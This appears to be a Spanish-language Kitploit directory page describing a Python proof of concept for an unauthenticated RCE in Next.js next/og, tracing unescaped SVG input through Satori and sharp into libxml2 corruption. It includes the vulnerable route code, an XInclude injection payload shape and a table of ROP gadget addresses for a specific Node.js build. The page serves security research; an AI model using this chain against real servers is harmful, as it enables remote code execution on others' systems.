Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-94545- — Prueba de concepto en Python para CVE-2026-94545: explota la entrada SVG sin escapar en next/og de Next.js para provocar la corrupción de libxml2 y una cadena ROP para RCE no autenticado. | Kitploit
Herramientas/GitHubGitHub/mrdark-ops/cve-2026-94545-
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebSeguridad WebExplotación de Binarios
GitHubmrdark-ops/cve-2026-94545-

CVE-2026-94545-

Prueba de concepto en Python para CVE-2026-94545: explota la entrada SVG sin escapar en next/og de Next.js para provocar la corrupción de libxml2 y una cadena ROP para RCE no autenticado.

Ver Repositorio
11hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-94545: Ejecución remota de código no autenticada en next/og de Next.js

Solo para uso en investigación de seguridad, en entornos de vulnerabilidad autorizados.

ElementoValor
CVECVE-2026-94545 / GHSA-vcvr-r3jv-pc5j
OrigenSatori GHSA-wx4j-mvgx-mqwp
Causa raízCWE-116 (Codificación o escape de salida incorrectos) → Corrupción de memoria del analizador XML nativo → RCE
AfectadosNext.js 16.2.0 – 16.3.5 (runtime de Node con sharp instalado); Satori incluido ≥ 0.0.27 y < 0.33.5
CorregidoNext.js 16.3.6 / Satori 0.33.5
ImpactoEjecutar comandos arbitrarios en el proceso del servicio Next.js sin autenticación
Stack probadoNext.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + binario oficial x64 de Node.js v24.20.0 (no PIE)

Con el runtime de Edge (export const runtime = 'edge') o cuando sharp no está instalado, el renderizado pasa por el sandbox resvg-wasm, por lo que esta vulnerabilidad no alcanza la cadena de análisis nativa y, por tanto, no se convierte en RCE.

Cadena de vulnerabilidad

La entrada del usuario se concatena en el SVG como texto plano, y este SVG se inserta entero en una URL data: y se entrega a un analizador XML escrito en C para una segunda ronda de análisis. Entre medias solo se realiza codificación de URL; el escape XML nunca se lleva a cabo.

Capa 1: App Router — la entrada no confiable entra en la función de renderizado

Patrón típico: POST /api/og coloca todo el cuerpo de la solicitud, o GET /api/og?value= coloca el parámetro de consulta, directamente en el <title> del SVG de ImageResponse, sin filtrado ni escape.

import { ImageResponse } from 'next/og'

export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'

async function render(request) {
  const url = new URL(request.url)
  const value = request.method === 'POST'
    ? await request.text()
    : (url.searchParams.get('value') ?? '')
  return new ImageResponse(
    <svg width="1200" height="630"><title>{value}</title></svg>,
    { width: 1200, height: 630 }
  )
}

export const GET = render
export const POST = render

ImageResponse recibe un árbol de elementos JSX y devuelve un PNG. Cualquier ruta que escriba datos de la solicitud en nodos hijos / atributos / estilos de SVG es un sink.

Capa 2: Reenvío de entrada de next/og

node_modules/next/og.js reenvía a next/dist/server/og/image-response.js. El runtime de Node carga dinámicamente next/dist/compiled/@vercel/og/index.node.js (ruta nativa); el runtime de Edge carga la ruta wasm y no se ve afectado por esta vulnerabilidad.

Capa 3: @vercel/og — Satori genera el SVG y luego lo entrega para la rasterización

El flujo del @vercel/og incluido en Next.js (los comentarios del artefacto compilado confirman que contiene [email protected]) es:

  1. Usar Satori para serializar el árbol JSX en una cadena SVG.
  2. Si se detecta sharp, entregar el SVG a la biblioteca nativa para la rasterización; de lo contrario, recurrir a resvg-wasm.
const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
  pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
  const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}

En este punto, la entrada del usuario ya se ha convertido en una cadena SVG y se pasa literalmente a sharp (libvips nativo).

Capa 4: Satori 0.25.0 — El texto solo se codifica en URL, nunca se escapa como XML

Para un <svg> escrito explícitamente en JSX, Satori lo serializa por completo en una URL data:image/svg+xml y luego lo incrusta en la salida como un <image>.

vercel/[email protected] src/layout.ts: llama a SVGNodeToImage al entrar en un nodo <svg>.

src/handler/preprocess.ts tiene dos fallos clave:

const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g   // Only used for URI percent-encoding

export function translateSVGNodeToSVGString(node, inheritedColor) {
  if (typeof node !== 'object') return String(node)  // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
  return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}

export async function SVGNodeToImage(element, inheritedColor) {
  return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
  // Flaw 2: only URI percent-encoding is performed, not XML escaping
}

&, < y > no se escriben como &amp; / &lt; / &gt;. La codificación por porcentaje es meramente un requisito de sintaxis de URL; cuando el analizador descendente carga la URL data:, %3C/title%3E se restaura como un </title> real, y el texto del atacante pasa de ser "datos" a "estructura del documento".

Cuando la entrada es </title><xi:include …/><title>, el SVG intermedio que Satori entrega a sharp adopta la siguiente forma (decodificado para ilustración):

<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
  <image x="0" y="0" width="1200" height="630"
     href="data:image/svg+xml;utf8,...<title></title><xi:include
           xmlns:xi='http://www.w3.org/2001/XInclude'
           href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>

Capa 5: sharp → libvips → librsvg → libxml2 — Análisis nativo y corrupción de memoria

sharp(SVG buffer)
 → libvips  vips_foreign_load_svg_buffer()
 → librsvg  rsvg_handle_new_from_stream_with_flags()
              ├─ Parses the outer SVG
              ├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
              └─ XML parsing is delegated to libxml2
 → libxml2  xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc

La carga útil utiliza dos capas de inyección para controlar la estructura de entrada de libxml2:

  1. El </title><xi:include parse="xml" href="data:…"> externo hace que el analizador salte a cargar un documento anidado totalmente controlado por el atacante.
  2. Dentro del documento anidado, se utilizan entonces entidades DTD anidadas + XInclude para construir un grafo de expansión y referencia de entidades excesivamente profundo/ancho.

El estado interno de libxml2 se lleva más allá de lo esperado, lo que resulta en una escritura fuera de límites. El efecto de corrupción se materializa de forma fiable mediante secuencias de coordenadas de <path> SVG cuidadosamente dispuestas (doubles IEEE-754 que transportan palabras de 8 bytes en little-endian), secuestrando así el flujo de control.

Capa 6: ROP de dirección fija en Node no-PIE → execve

El binario oficial de Node.js linux-x64 es un ejecutable no-PIE con una base de carga fija; las direcciones de PLT / GOT y de los gadgets son constantes, por lo que no se necesita ninguna fuga de información.

Este PoC está construido contra Node.js v24.20.0 oficial x64; los gadgets son los siguientes:

SímboloDirecciónPropósito
POP_RDI0xA1EAEDpop rdi ; ret
POP_RAX0x7F38D4pop rax ; ret
POP_RSI0x95823Dpop rsi ; ret
POP_RDX0x776758pop rdx ; ret
STOSQ_RET0xD16725stosq ; ret (escribe en el scratch qword a qword)
EXECVE_PLT0x745FA0Stub PLT de execve
SCRATCH0x6B5F500Dirección escribible fija
Descargar herramienta